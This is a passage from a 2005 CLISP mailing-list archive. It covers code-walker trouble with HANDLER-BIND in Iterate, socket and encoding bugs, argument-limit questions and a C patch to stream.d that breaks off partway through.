b) a general weakness of portable code walking, failing to handle macros that expand to implementation-specific special operators.

For ease of using CC, I send it to clisp-list instead of opening a bugtracker issue.

I believe the cause of the bug is that CLISP fails here to respect the obligation AFAIK (where was that in CLHS?) to have all its macros expand into either functions, macros or special forms -- so that code walkers work in CL.

However, sys::%handler-bind looks like it must be handled as a special form (or macro) from the expansion example appended below, yet it's not declared as such.
[28]> (special-operator-p 'sys::%handler-bind)
NIL

That could probably be easy to fix in CLISP. Iterate would then issue a warning instead of an error: "the CL implementation says that sys::%handler-bind is a special operator, but Iterate does not know how to handle that. It will not be walked, which means that Iterate clauses inside it will not be seen."
-- Better, but still not ideal. How to improve on this?

I don't see how to improve on this situation without adding to Iterate specific code for handler-bind. And potentially many other macros could expand to implementation-specific special forms (really?).

Code-walking really appears tough -- Portable code walking next to impossible?
Sigh

(macroexpand-1'(ignore-errors))
(BLOCK #:G3533
 (HANDLER-BIND
  ((ERROR
    #'(LAMBDA (CONDITION) (RETURN-FROM #:G3533 (VALUES NIL CONDITION))))))) ;
T

(macroexpand-1 (third (macroexpand-1'(ignore-errors))))
(LET
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   #'(LAMBDA NIL
      (PROGN
       #'(LAMBDA (CONDITION) (RETURN-FROM #:G3534 (VALUES NIL CONDITION))))))
  (#:G3536 #'(LAMBDA NIL (PROGN))))
 (LOCALLY (DECLARE (COMPILE))
  (SYSTEM::%HANDLER-BIND
   ((ERROR #'(LAMBDA (CONDITION) (FUNCALL (FUNCALL #:G3535) CONDITION))))
   (FUNCALL #:G3536)))) ;
T

Regards,
	Jorg Hohle

>-----Ursprungliche Nachricht-----
>Von:  Tayssir John Gabbour
>Betreff: [iterate-devel] Bug report: handler-bind in FOR
>
>Hi all,
>
>On clisp-2.33.1/win2k, Iterate doesn't like handler-bind. I 
>don't know what the
>issue is; it seems to work in Lispworks, since it was able to compile
>cl-typesetting.
>
>Incidentally, I can't find the link to the mailing list, so 
>please cc: any
>responses to me. ;)
>
>
>;; doesn't work
>(iterate:iter (for x = (ignore-errors 3))
>              (format t "~&blah: ~S" x)
>              (until (= x 3)))
>
>;; works
>(iterate:iter (for x = 3)
>              (format t "~&blah: ~S" x)
>              (until (= x 3)))
>
>
>Error message:
>
>Iterate, in (let nil (declare (compile))
> (%handler-bind
>  ((error #'(lambda (condition) (funcall (funcall g5133) condition))))
>  (funcall g5134))):
>The form ((error #'(lambda (condition) (funcall (funcall 
>g5133) condition))))
>is not a valid Lisp expression
>   [Condition of type simple-error]
>
>MfG,
>Tayssir


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> * Hoehle, Joerg-Cyril <Wbret-Plevy.Ubruyr@g-flfgrzf.pbz> [2005-01-13 15:06:43 +0100]:
>
> I believe the cause of the bug is that CLISP fails here to respect the
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> expand into either functions, macros or special forms -- so that code
> walkers work in CL.
>
> However, sys::%handler-bind looks like it must be handled as a special
> form (or macro) from the expansion example appended below, yet it's
> not declared as such.
> [28]> (special-operator-p 'sys::%handler-bind)
> NIL

SYS::%HANDLER-BIND cannot be evaluated, only compiled,
so, indeed, it is a special operator.
marking it as such will not buy much for ITERATE.
The only place where it occurs is HANDLER-BIND which is a standard
macro though, so I suggest that ITERATE handles HANDLER-BIND specially,
not via MACROEXPAND.

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hello everyone,

i'm trying to write a simple network client that relays text from the
terminal to a socket.

after making the network connection, i want to wait for input from either
the socket or *standard-input*.  unfortulately, clisp complains with:

*** - SOCKET-STATUS on #<IO SYNONYM-STREAM *TERMINAL-IO*> is illegal

so i'm stuck at trying to multiplex the input of a socket and the
terminal using socket-status.

i know there are probably many things wrong with this program since i'm
an inexperienced lisp programmer but could someone help me address the
SOCKET-STATUS problem?

-ayan


( defun client-connect ( server port user pass  )
	( let ( ( sock ( socket-connect ( parse-integer port ) server ) ) )
		( unwind-protect
			( progn
				( format sock "connect ~A ~A~%" user pass )
				( let ( ( ready ( socket-status ( list sock *standard-input* ) ) ) )
					( cond	( ( = ready sock ) ( print "RECEIVED DATA FROM THE SERVER" ) )
							( ( = ready *standard-input* ) ( print "RECEIVED DATA FROM THE TERMINAL" ) )
							( ( t )	( print "WTF?" ) ) ) ) )
			( close sock ) ) ) )


( format t "connecting to ~A:~A...~%" ( first *ARGS* ) ( second *ARGS* ) )
( client-connect ( first *ARGS* ) ( second *ARGS* ) ( third *ARGS* ) ( fourth *ARGS* ) )


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Date: Thu Jan 13 11:13:20 2005
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> *  <nlna@nlna.arg> [2005-01-13 11:49:27 -0500]:
>
> *** - SOCKET-STATUS on #<IO SYNONYM-STREAM *TERMINAL-IO*> is illegal

this is a bug. sorry.
use (socket-status *terminal-io*) for now.

> ( defun client-connect ( server port user pass  )

if you do not leave a blank space after #\( and before #\)
and let Emacs indent your code,
your code will be much easier to read.


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Date: Thu Jan 13 19:41:10 2005
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Hello, I'm using CLISP 2.30 (released 2002-09-15) to write a simple CGI script,
and I'm getting the following error in some cases:


*** - handle_fault error2 ! address = 0x37254418 not in
[0x201F7000,0x202CACBC) ! SIGSEGV cannot be cured. Fault address =
0x37254418.


Since I don't have shell access to the server this runs on, I have no other
information besides this message. The only thing I was able to find out is that
I can reproduce this error by explicitely triggering a GC. So my hypothesis is
that the server doesn't make enough memory available to my program, and when a
GC occurs CLISP can't allocate the necessary space. Does this explanation make
sense? Is there a way to avoid the above error? Or, can I temporarily disable GC
so that I can get to the end of the script without running into trouble? Note
that my program only needs to generate a pretty simple HTML page, so I don't
care if I leave garbage around, my program will terminate immediately after.
Thank you,

Alberto


PS I know I'm using a pretty old version of CLISP, the reason that newer
versions used to print the warning about *FOREIGN-ENCODING* at startup, and that
messed up the CGI response. Now it seems that was fixed, so I'll try upgrading...



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Alberto <ariva <at> medg.lcs.mit.edu> writes:

> 
> Hello, I'm using CLISP 2.30 (released 2002-09-15) to write a simple CGI
> script, and I'm getting the following error in some cases:
> *** - handle_fault error2 ! address = 0x37254418 not in
> [0x201F7000,0x202CACBC) ! SIGSEGV cannot be cured. Fault address =
> 0x37254418.


Followup to my own post... I upgraded to 2.33.2, and the problem went away.
Thanks anyway :)

Alberto







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Joerg-Cyril Hoehle wrote:
> Every program or library which does code-walking and comes across
> IGNORE-ERRORS or HANDLER-BIND in CLISP will barf on this.

Yes. Like HANDLER-BIND, like COMPILER-LET, is a primitive that cannot be
emulated using macroexpansions in clisp.

> Having a useful response from SPECIAL-OPERATOR-P would at least help these
> to correctly recognize the situation at hand.

I don't agree. The purpose of the statement in CLHS 3.1.2.1.2.2

  "An implementation is free to implement any macro operator as a special
   operator, but only if an equivalent definition of the macro is also
   provided."

is obviously that code walkers will use the macro definition and not
have special code for HANDLER-BIND. But this macro definition cannot
do anything else than expand into something containing SYS::%HANDLER-BIND,
and at this point the code walker would barf as well.

So the code walkers need a bit of #+clisp code for either HANDLER-BIND
or SYS::%HANDLER-BIND. The former is better, since HANDLER-BIND is a
documented symbol whose meaning won't change.

Bruno



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Bruno Haible writes:

>... SYS::%HANDLER-BIND,
>and at this point the code walker would barf as well.

Not necessarily. You don't know what the code-walker wants to do =
(perhaps count function calls, or cross-ref). The code-walker may =
decide to leave unknown specials alone (most reasonable).

However, with the current behaviour, it does not barf on %handler-bind, =
it barfs on ((error ...) ...) inside it, which is not a correct form, =
and has no possibility to know where that illegal form comes from.

If we had (special-operator-p sys::%handler-bind) -> true in CLISP, =
then any code-walker would know that it can't continue, which is better =
than to assume sys::%handler-bind to be a function call when it's =
clearly not.

That's independent on the need to have to add #+clisp(case-of =
handler-bind) to individual code-walkers, e.g. Iterate.

BTW, I also started a thread in cll on this special operator issue
Subject: what are allowed special forms? (CLHS clarification)

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	J=C3=B6rg.


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> * Bruno Haible <oehab@pyvfc.bet> [2005-01-14 14:05:09 +0100]:
>
> Joerg-Cyril Hoehle wrote:
>> Every program or library which does code-walking and comes across
>> IGNORE-ERRORS or HANDLER-BIND in CLISP will barf on this.
>
> Yes. Like HANDLER-BIND, like COMPILER-LET, is a primitive that cannot
> be emulated using macroexpansions in clisp.

alas.

> The purpose of the statement in CLHS 3.1.2.1.2.2
>
>   "An implementation is free to implement any macro operator as a special
>    operator, but only if an equivalent definition of the macro is also
>    provided."
>
> is obviously that code walkers will use the macro definition and not
> have special code for HANDLER-BIND. But this macro definition cannot
> do anything else than expand into something containing SYS::%HANDLER-BIND,
> and at this point the code walker would barf as well.

how about *HANDLER-CLUSTERS* (see commented-out code in src/condition.lisp)?

we can make SYS::%HANDLER-BIND expand to the binding of
*HANDLER-CLUSTERS*.
since it is always inside (DECLARE (COMPILE)), this macroexpansion will
never be used by CLISP, so the only result of this will be enabling the
code walkers not to have CLISP-specific code.
[oops - EXPAND-FORM will expand that macro inside LOCALLY...]


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Date: Fri Jan 14 07:29:09 2005
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Sam Steingold wrote:
>how about *HANDLER-CLUSTERS* (see commented-out code in 
>src/condition.lisp)?
>we can make SYS::%HANDLER-BIND expand to the binding of
>*HANDLER-CLUSTERS*. [...]

>this macroexpansion will never be used by CLISP

I can't understand how this could possibly work. The macroexpanded code is what's going to be seen by the compiler (at least that's how Iterate has been working for over a decade), and there will be nothing left of handler-bind or sys::%handler-bind in the fully macroexpanded code that Iterate yields.

So either *handler-clusters* fully works in running code (and preserves all CL test cases) or CLISP has to declare sys::%handler-bind as a special operator, being unable to present a working substitute.

I already posted to cll a few month ago (forgot the subject), pointing to the possibility that code compiled from fully macroexpanded code may not be as efficient as the original (textual) one. My general impression from the small resulting thread was that it's accepted, as long as correctness is preserved.

For history: Alas, CL doesn't have the displaced macros from earlier days (these were performing destructive substitution on the list tree representing the source code). With those, Iterate could have been able to replace COLLECT etc. macros deep inside the code without having to replace all surrounding code by its expansion.
Displaced macros were not included in CL (or other Lisps) because of (very) bad experience with their destructive side effects.

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Hi,

>>this macroexpansion will never be used by CLISP
>I can't understand how this could possibly work.

Maybe what's confusing us is that we have different uses of code-walkers in mind.

Maybe you think of something like XREF, which needs to find all functions, but does not care whether the macroexpanded code is slow or works at all.

I'm thinking of somethig like the current implementation of Iterate, where the result of full macroexpansion of the body will be integrated into the result of Iterate's own macroexpansion, so
a) it's essential that the expansion works and
b) it's sad when macroexpanded code leads to worse performance than direct compilation of the original form (but not too surprising).

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Bruno Haible writes:
 > Joerg-Cyril Hoehle wrote:
 > > Every program or library which does code-walking and comes across
 > > IGNORE-ERRORS or HANDLER-BIND in CLISP will barf on this.
 > 
 > Yes. Like HANDLER-BIND, like COMPILER-LET, is a primitive that cannot be
 > emulated using macroexpansions in clisp.
 > 
 > > Having a useful response from SPECIAL-OPERATOR-P would at least help these
 > > to correctly recognize the situation at hand.
 > 
 > I don't agree. The purpose of the statement in CLHS 3.1.2.1.2.2
 > 
 >   "An implementation is free to implement any macro operator as a special
 >    operator, but only if an equivalent definition of the macro is also
 >    provided."
 > 
 > is obviously that code walkers will use the macro definition and not
 > have special code for HANDLER-BIND. But this macro definition cannot
 > do anything else than expand into something containing SYS::%HANDLER-BIND,
 > and at this point the code walker would barf as well.
 > 
 > So the code walkers need a bit of #+clisp code for either HANDLER-BIND
 > or SYS::%HANDLER-BIND. The former is better, since HANDLER-BIND is a
 > documented symbol whose meaning won't change.

For a fix to the immediate problem, why not change the syntax of
sys::%handler-bind to match normal function call syntax:

  (%handler-bind body-thunk 'condition1 handler1 'condition2 handler2 ...)

instead of

  (%handler-bind ((condition1 handler1) (condition2 handler2) ...)
                 (funcall body-thunk))

Even if %handler-bind can't be written as a primitive function (I
don't know CLISP's internals, so I'll have to take your word for it),
this should be good enough for most code walkers.


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Thomas F. Burdick wrote:
> For a fix to the immediate problem, why not change the syntax of
> sys::%handler-bind to match normal function call syntax:
>
>   (%handler-bind body-thunk 'condition1 handler1 'condition2 handler2 ...)
>
> instead of
>
>   (%handler-bind ((condition1 handler1) (condition2 handler2) ...)
>                  (funcall body-thunk))
>
> Even if %handler-bind can't be written as a primitive function (I
> don't know CLISP's internals, so I'll have to take your word for it),
> this should be good enough for most code walkers.

This is a good idea. Would you like to implement this and contribute it to
clisp? (If you say no, I will do it.)

Bruno



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Bruno Haible writes:
 > Thomas F. Burdick wrote:
 > > For a fix to the immediate problem, why not change the syntax of
 > > sys::%handler-bind to match normal function call syntax:
 > >
 > >   (%handler-bind body-thunk 'condition1 handler1 'condition2 handler2 ...)
 > >
 > > instead of
 > >
 > >   (%handler-bind ((condition1 handler1) (condition2 handler2) ...)
 > >                  (funcall body-thunk))
 > >
 > > Even if %handler-bind can't be written as a primitive function (I
 > > don't know CLISP's internals, so I'll have to take your word for it),
 > > this should be good enough for most code walkers.
 > 
 > This is a good idea. Would you like to implement this and contribute it to
 > clisp? (If you say no, I will do it.)

Nope, I have no hacking time at the moment, and when I get some, I'm
going to use it for pending commitments to SBCL.  I would like to see
CLISP be Iterate-friendly, though.


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Date: Wed Jan 19 06:15:32 2005
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hello everybody;

  clisp version 2.33.2 appears to show a problem when you try to add
more than 4095 numbers (e.g., integers) as in

(progn
  
  (setq l nil)
  
  (dotimes (i 4096)
	   (push i l))
  
  (apply #'+ l)
  
  )


The message error displayed on breaking into the debugger is:

*** - APPLY: too many arguments given to +


Now, 4096 is a quite suspect number isn't it? (some #define BUF_SIZE
of sorts?). Oddily enough, also, function #'- works at 4096, but fails
at 4097 ....

Much older version 2.27 does not show the problem: #'+ happily digests
hundreds of thousands of arguments, and when it finally fails (say at
500000), it does so because of stack overflow.

*** - Lisp stack overflow. RESET


In fact, this is more in tune with a recursive implementation of #'+.


- Has anyone heard of this before?
- Anyone able to confirm these behaviours?

thanks in advance;

bruno 



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On Wed, 19 Jan 2005 15:11:56 +0100, Bruno Caprile <caprile@itc.it> wrote:

>   clisp version 2.33.2 appears to show a problem when you try to add
> more than 4095 numbers (e.g., integers) as in
>
> (progn
>   
>   (setq l nil)

The behaviour at this point is undefined unless you've previously
defined L with DEFPARAMETER or DEFVAR.

>   (dotimes (i 4096)
> 	   (push i l))
>   
>   (apply #'+ l)
>   
>   )
>
> The message error displayed on breaking into the debugger is:
>
> *** - APPLY: too many arguments given to +
>
> Now, 4096 is a quite suspect number isn't it? (some #define BUF_SIZE
> of sorts?). Oddily enough, also, function #'- works at 4096, but
> fails at 4097 ....

<http://www.lispworks.com/documentation/HyperSpec/Body/v_call_a.htm#call-arguments-limit>

Try REDUCE instead:

  (let ((l (loop for i below 20000
                 collect i)))
    (reduce #'+ l))

Edi.



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> * Bruno Caprile <pncevyr@vgp.vg> [2005-01-19 15:11:56 +0100]:
>
>   clisp version 2.33.2 appears to show a problem when you try to add
> more than 4095 numbers (e.g., integers) as in
>
> (progn
>   
>   (setq l nil)
>   
>   (dotimes (i 4096)
> 	   (push i l))
>   
>   (apply #'+ l)
>   
>   )

CALL-ARGUMENTS-LIMIT
<http://www.lisp.org/HyperSpec/Body/convar_call-a_uments-limit.html#call-arguments-limit>

ANSI CL requires that CLISP guarantees that it will always accept this
many arguments.  No guarantee could have been made for the previous
value.

if you are hitting this limit, it means that you want to use REDUCE.

-- 
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Bruno Caprile <caprile@itc.it> writes:

> hello everybody;
>
>   clisp version 2.33.2 appears to show a problem when you try to add
> more than 4095 numbers (e.g., integers) as in
>
> (progn
>   
>   (setq l nil)
>   
>   (dotimes (i 4096)
> 	   (push i l))
>   
>   (apply #'+ l)
>   
>   )
>
>
> The message error displayed on breaking into the debugger is:
>
> *** - APPLY: too many arguments given to +

use reduce instead of apply in situations like this

-russ




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thanks to everybody!

in fact, it was my fault not to check that the value of
CALL-ARGUMENTS-LIMIT had dropped from 2^32 (of 2.27) to
2^12 (version 2.32.2).

thanks again.

bruno


On Wed, Jan 19, 2005 at 12:14:10PM -0500, Sam Steingold wrote:
> > * Bruno Caprile <pncevyr@vgp.vg> [2005-01-19 15:11:56 +0100]:
> >
> >   clisp version 2.33.2 appears to show a problem when you try to add
> > more than 4095 numbers (e.g., integers) as in
> >
> > (progn
> >   
> >   (setq l nil)
> >   
> >   (dotimes (i 4096)
> > 	   (push i l))
> >   
> >   (apply #'+ l)
> >   
> >   )
> 
> CALL-ARGUMENTS-LIMIT
> <http://www.lisp.org/HyperSpec/Body/convar_call-a_uments-limit.html#call-arguments-limit>
> 
> ANSI CL requires that CLISP guarantees that it will always accept this
> many arguments.  No guarantee could have been made for the previous
> value.
> 
> if you are hitting this limit, it means that you want to use REDUCE.
> 
> -- 
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Excuse my bad English.

Postgresql 8.0 out. 
Is planned ported the module postgresql in the version clisp for win32?

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> * Yaroslav Kavenchuk <xnirapuhx@wragl.ol> [2005-01-20 09:23:50 +0200]:
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> Excuse my bad English.
>
> Postgresql 8.0 out. 
> Is planned ported the module postgresql in the version clisp for win32?

as far as I know, it might work OOTB.
did you try it?

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hello, 
i m vishal G. Ghadge, I am doing MCA under PUNE Univ,
i want do project in clisp, 
can anybody forward me good project idea.
 
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Sam Steingold:

>> Excuse my bad English.
>>
>> Postgresql 8.0 out. Is planned ported the module postgresql in the 
>> version clisp for win32?
>
>
> as far as I know, it might work OOTB.
> did you try it?

Yep!!!
But... some questions:
I have copied files postgresq from include\* and lib\* in c:\cygwin\... 
It can be made more nice?
After build clisp with postgresql module

$ ./configure --silent --with-module=syscalls --with-module=regexp 
--with-module=dirkey --with-mingw \
--with-module=postgresql --build build-win32-pg

and remove cygwin\bin from PATH I get:
...library DLL cygcrypt-0.dll not found...

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Yaroslav Kavenchuk schrieb:
> I have copied files postgresq from include\* and lib\* in c:\cygwin\... 
> It can be made more nice?

wrong:
/usr/include/postgres_ext.h is ok
/usr/include/libpq-fe.h is ok
just some internal includes are in /usr/include/postgresql/server
(not needed)

The libs are in /lib, just some libexec dll's are in /lib/postgresql

> After build clisp with postgresql module
> 
> $ ./configure --silent --with-module=syscalls --with-module=regexp 
> --with-module=dirkey --with-mingw \
> --with-module=postgresql --build build-win32-pg
> 
> and remove cygwin\bin from PATH I get:
> ...library DLL cygcrypt-0.dll not found...

So you shouldn't remove cygwin\bin from your PATH.
How you do you want to run a cygwin app without a PATH?

and you need the openssl package.
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Reini Urban:

> wrong:
> /usr/include/postgres_ext.h is ok
> /usr/include/libpq-fe.h is ok
> just some internal includes are in /usr/include/postgresql/server
> (not needed)
>
Thanks

> > After build clisp with postgresql module
> >
> > $ ./configure --silent --with-module=syscalls --with-module=regexp
> > --with-module=dirkey --with-mingw \
> > --with-module=postgresql --build build-win32-pg
> >
> > and remove cygwin\bin from PATH I get:
> > ...library DLL cygcrypt-0.dll not found...
>
> So you shouldn't remove cygwin\bin from your PATH.
> How you do you want to run a cygwin app without a PATH?
>
--with-mingw - I want native win32 version clisp with postgresql module.

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vishal ghadge schrieb:

> hello,
> i m vishal G. Ghadge, I am doing MCA under PUNE Univ,
> i want do project in clisp,
> can anybody forward me good project idea.


Ahja. What about:

-(arc int-X1 int-Y1 int-X2 int-Y2 int-X3 int-Y3 int-X4 int-Y4) 
  arc   draws an arc 
-(bitmap int-X int-Y str [int-W int-H]) 
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-(check-mouse-button) 
  check-mouse-button   returns the state of the mouse buttons and
shift/ctrl keys 
-(chord int-X1 int-Y1 int-X2 int-Y2 int-X3 int-Y3 int-X4 int-Y4) 
  chord   draws a chord shape 
-(client-to-screen)  
  client-to-screen   translates client area coordinates to screen
coordinates
-(fill int-X int-Y int-color) 
  fill   fills an area 
-(get-client-rect) 
  get-client-rect   returns the coordinates of a windows client area 
-(get-mouse-x)  (get-mouse-y) 
  get-mouse-x, get-mouse-y   return the x and y coordinates of the mouse
cursor 
-(icon int-X int-Y str-file int-N) 
  icon   draws an icon 
-(invert int-X1 int-Y1 int-X2 int-Y2) 
  invert   inverts a area
-(line int-X1 int-Y1 int-X2 int-Y2 [...]) 
  line   draws a line 
-(mouse-move-event [event-handler]) 
  mouse-move-event   window independent event 'show-mouse-status
-(rectangle int-X1 int-Y1 int-X2 int-Y2) 
  rectangle   draws a rectangle 
-(row-column [int-row int-column]) 
  row-column   text position 
-(return-mouse-window) 
  return-mouse-window   returns the symbol of the current window under
the mouse cursor 
-(set-rasterop int) 
  set-rasterop   set screen wide and high koordinates 
-(system-metrics int-sys-param) 
  system-metrics   returns windows system parameters
-(text intX intY str [int-color] [int-mode]) 
  text   draws text 
-(text-font [str-font int-size [int-color]]) 
  text-font   sets the font for text and the controls default font
-(text-font [str-font int-size [int-color]]) 
  text-font   sets the font for text and the controls default font 

mouse-  on-close on-got-focus on-key on-lost-focus on-mouse-dblclk
on-mouse-down on-mouse-up on-mouse-move on-move 

Multi media interface ()  -oh can be something bigger

Of course. This is only an example. 

Some will say this is not neccessary, 
some will say better do some high-level-stuff,
some will say ...

So do what you can do best, hm?

stefan




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With something like:

(dolist (e (list-external-symbols :charset))
  (print e)
  (print (map 'vector (function char-code) 
              (SYSTEM::GET-CHARSET-RANGE (symbol-value e)))))

I get the ranges of character codes that seem to belong to a given
charset.  However, it seems that some charset-range contain a last
range above 900,000 in which taking the CODE-CHAR results in a segfault.
Are these ranges really valid? (I guess yes, given they're still <2^21).
Then why:
 
#<ENCODING "ARMSCII-8" :DOS> 
#(0 160 171 171 187 187 1329 1366 1370 1374 1377 1415 1417 1418 8212 8212 8230
  8230 917504 917631) 

(list (lisp-implementation-version) (machine-type))
--> ("2.33.2 (2004-06-02) (built 3311798773) (memory 3311799118)" "I686")

(with-open-file (test 
                 (make-pathname :case :common
                                :name "ARMSCII-8"
                                :type "DOS")
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                 :if-exists :supersede
                 :if-does-not-exist :create
                 :external-format (ext:make-encoding :charset charset:armscii-8
                                                     :line-terminator :dos))
  (format test "~C~%"  (code-char 917504)))
--> Segmentation fault


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> * vishal ghadge <ivfunytunqtr@lnubb.pbz> [2005-01-20 20:07:24 -0800]:
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> i m vishal G. Ghadge, I am doing MCA under PUNE Univ,
> i want do project in clisp, 
> can anybody forward me good project idea.

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Hi!

I'm a sysadmin using mostly perl for my day-to-day tasks. Zilions of 
modules and lazy type of writing is very suited for me ... Mostly moving
data from one place to another.

I've been hearing a lot about Lisp lately, and I'd like to give it a
try.

But it's difficult to do something similiar to my perl throwaway scripts
in Clisp. There seems to be very few(non-free) on no supporting libraries
(sql, ldap, parsing files, ...). Yes, I am lazy... to some degree.

Almost every day I'm faced with moving data from let's say ldap to sql
or vice versa, parsing few files and generating some meaningful output.
Few other, bigger things are billing software (all writtn in perl),
threaded tcp servers, XMLRPC, ... 

I'd like to try writing this thingies in Clisp. Is this even sane to do?


Damir


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 > I've been hearing a lot about Lisp lately, and I'd like to give it a
 > try.
 > 
 > Almost every day I'm faced with moving data from let's say ldap to sql
 > or vice versa, parsing few files and generating some meaningful output.

LDAP <-> "SQL" is a good example, as CLISP does have built-in modules
(which in turn access 3rd party libraries) for those two things
specifically.

By "SQL" I assume you mean a relation DBMS of some ttype.  CLISP has
easy access to Postgres and Oracle.  I have written substantial Oracle
apps w/ it.

For parsing files CLISP has yet another library "pcre" (perl
compatible regex's) which should be on par w/ perl.

 > Few other, bigger things are billing software (all writtn in perl),
 > threaded tcp servers, XMLRPC, ... 

This sounds like a lot to re-write at once.  I'd suggest picking a small
project and seeing it through from start to finish!

 > I'd like to try writing this thingies in Clisp. Is this even sane
 > to do?

definitely.  One thing that is way easier w/ Lisp is debugging.

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Pascal Bourguignon wrote:
> (with-open-file (test
>                  (make-pathname :case :common
>
>                                 :name "ARMSCII-8"
>                                 :type "DOS")
>                  :
>                  :direction :output
>                  :if-exists :supersede
>                  :if-does-not-exist :create
>                  :external-format (ext:make-encoding :charset
>                  : charset:armscii-8
>                  :
>                                                      :line-terminator
>                                                      : :dos))
>
>   (format test "~C~%"  (code-char 917504)))
> --> Segmentation fault

This patch fixes it. Thanks for the report.

Interestingly, the clisp code was correct at the time when it was written. The
bug appeared when support for Unicode 3.2 was added to glibc: then the function
iconv() started to have a behaviour that was not imaginable before.

Bruno


*** src/stream.d.orig	11 Dec 2004 15:30:28 -0000	1.415.2.11
--- src/stream.d	25 Jan 2005 09:45:22 -0000	1.415.2.12
***************
*** 473,478 ****
--- 473,484 ----
        var chart ch = char_code(TheStream(stream)->strm_rd_ch_last);
        var uintB buf[4]; # are there characters longer than 4 bytes?!
        var uintL char_len = cslen(enc,&ch,1);
+       ASSERT(char_len <= sizeof(buf));
+       if (char_len == 0) { # the char corresponds to no bytes at all
+         TheStream(stream)->strmflags &= ~strmflags_unread_B;
+         TheStream(stream)->strm_rd_ch_last = NIL;
+         goto do_read_byte;
+       }
        cstombs(enc,&ch,1,buf,char_len);
        var uint8 code = buf[0];
        if (char_len == 1) { # the char was just one byte
***************
*** 495,502 ****
          return sfixnum((sint8)code);
        else
          return fixnum((uint8)code);
!     } else
        return rd_by(stream)(stream);
    } else {
      # Call the generic function (STREAM-READ-BYTE stream):
      pushSTACK(stream); funcall(S(stream_read_byte),1);
--- 501,510 ----
          return sfixnum((sint8)code);
        else
          return fixnum((uint8)code);
!     } else {
!      do_read_byte:
        return rd_by(stream)(stream);
+     }
    } else {
      # Call the generic function (STREAM-READ-BYTE stream):
      pushSTACK(stream); funcall(S(stream_read_byte),1);
***************
*** 5326,5332 ****
    Encoding_wcstombs(encoding)
      (encoding,stream,&cptr,cptr+1,&bptr,&buf[max_bytes_per_chart]);
    ASSERT(cptr == &c+1);
!   UnbufferedStreamLow_write_array(stream)(stream,&buf[0],bptr-&buf[0],false);
    #else
    UnbufferedStreamLow_write(stream)(stream,as_cint(c));
    #endif
--- 5334,5342 ----
    Encoding_wcstombs(encoding)
      (encoding,stream,&cptr,cptr+1,&bptr,&buf[max_bytes_per_chart]);
    ASSERT(cptr == &c+1);
!   var uintL buflen = bptr-&buf[0];
!   if (buflen > 0)
!     UnbufferedStreamLow_write_array(stream)(stream,&buf[0],buflen,false);
    #else
    UnbufferedStreamLow_write(stream)(stream,as_cint(c));
    #endif
***************
*** 5348,5355 ****
      var uintB* bptr = &tmptmpbuf[0];
      Encoding_wcstombs(encoding)(encoding,stream,&charptr,endptr,&bptr,
                                  &tmptmpbuf[tmpbufsize*max_bytes_per_chart]);
!     UnbufferedStreamLow_write_array(stream)(stream,&tmptmpbuf[0],
!                                             bptr-&tmptmpbuf[0],false);
    } while (charptr != endptr);
    #undef tmpbufsize
    #else
--- 5358,5367 ----
      var uintB* bptr = &tmptmpbuf[0];
      Encoding_wcstombs(encoding)(encoding,stream,&charptr,endptr,&bptr,
                                  &tmptmpbuf[tmpbufsize*max_bytes_per_chart]);
!     var uintL tmptmpbuflen = bptr-&tmptmpbuf[0];
!     if (tmptmpbuflen > 0)
!       UnbufferedStreamLow_write_array(stream)(stream,&tmptmpbuf[0],
!                                               tmptmpbuflen,false);
    } while (charptr != endptr);
    #undef tmpbufsize
    #else
***************
*** 5373,5379 ****
    Encoding_wcstombs(encoding)(encoding,stream,&cptr,cptr+1,&bptr,
                                &buf[max_bytes_per_chart]);
    ASSERT(cptr == &c+1);
!   UnbufferedStreamLow_write_array(stream)(stream,&buf[0],bptr-&buf[0],false);
    #else
    UnbufferedStreamLow_write(stream)(stream,as_cint(c));
    #endif
--- 5385,5393 ----
    Encoding_wcstombs(encoding)(encoding,stream,&cptr,cptr+1,&bptr,
                                &buf[max_bytes_per_chart]);
    ASSERT(cptr == &c+1);
!   var uintL buflen = bptr-&buf[0];
!   if (buflen > 0)
!     UnbufferedStreamLow_write_array(stream)(stream,&buf[0],buflen,false);
    #else
    UnbufferedStreamLow_write(stream)(stream,as_cint(c));
    #endif
***************
*** 5413,5420 ****
        Encoding_wcstombs(encoding)(encoding,stream,&cptr,tmpptr,&bptr,
                                    &tmptmpbuf[tmpbufsize*max_bytes_per_chart]);
        ASSERT(cptr == tmpptr);
!       UnbufferedStreamLow_write_array(stream)(stream,&tmptmpbuf[0],
!                                               bptr-&tmptmpbuf[0],false);
        #else
        UnbufferedStreamLow_write_array(stream)(stream,(const uintB*)tmpbuf,
                                                n,false);
--- 5427,5436 ----
        Encoding_wcstombs(encoding)(encoding,stream,&cptr,tmpptr,&bptr,
                                    &tmptmpbuf[tmpbufsize*max_bytes_per_chart]);
        ASSERT(cptr == tmpptr);
!       var uintL tmptmpbuflen = bptr-&tmptmpbuf[0];
!       if (tmptmpbuflen > 0)
!         UnbufferedStreamLow_write_array(stream)(stream,&tmptmpbuf[0],
!                                                 tmptmpbuflen,false);
        #else
        UnbufferedStreamLow_write_array(stream)(stream,(const uintB*)tmpbuf,
                                                n,false);
***************
*** 5447,5453 ****
    Encoding_wcstombs(encoding)(encoding,stream,&cptr,cp+n,&bptr,
                                &buf[2*max_bytes_per_chart]);
    ASSERT(cptr == cp+n);
!   UnbufferedStreamLow_write_array(stream)(stream,&buf[0],bptr-&buf[0],false);
    #else
    if (chareq(c,ascii(NL))) {
      UnbufferedStreamLow_write_array(stream)(stream,(const uintB*)crlf,2,false);
--- 5463,5471 ----
    Encoding_wcstombs(encoding)(encoding,stream,&cptr,cp+n,&bptr,
                                &buf[2*max_bytes_per_chart]);
    ASSERT(cptr == cp+n);
!   var uintL buflen = bptr-&buf[0];
!   if (buflen > 0)
!     UnbufferedStreamLow_write_array(stream)(stream,&buf[0],buflen,false);
    #else
    if (chareq(c,ascii(NL))) {
      UnbufferedStreamLow_write_array(stream)(stream,(const uintB*)crlf,2,false);
***************
*** 5492,5499 ****
        var uintB* bptr = &tmptmpbuf[0];
        Encoding_wcstombs(encoding)(encoding,stream,&cptr,tmpptr,&bptr,&tmptmpbuf[2*tmpbufsize*max_bytes_per_chart]);
        ASSERT(cptr == tmpptr);
!       UnbufferedStreamLow_write_array(stream)(stream,&tmptmpbuf[0],
!                                               bptr-&tmptmpbuf[0],false);
        #else
        UnbufferedStreamLow_write_array(stream)(stream,(const uintB*)tmpbuf,
                                                tmpptr-&tmpbuf[0],false);
--- 5510,5519 ----
        var uintB* bptr = &tmptmpbuf[0];
        Encoding_wcstombs(encoding)(encoding,stream,&cptr,tmpptr,&bptr,&tmptmpbuf[2*tmpbufsize*max_bytes_per_chart]);
        ASSERT(cptr == tmpptr);
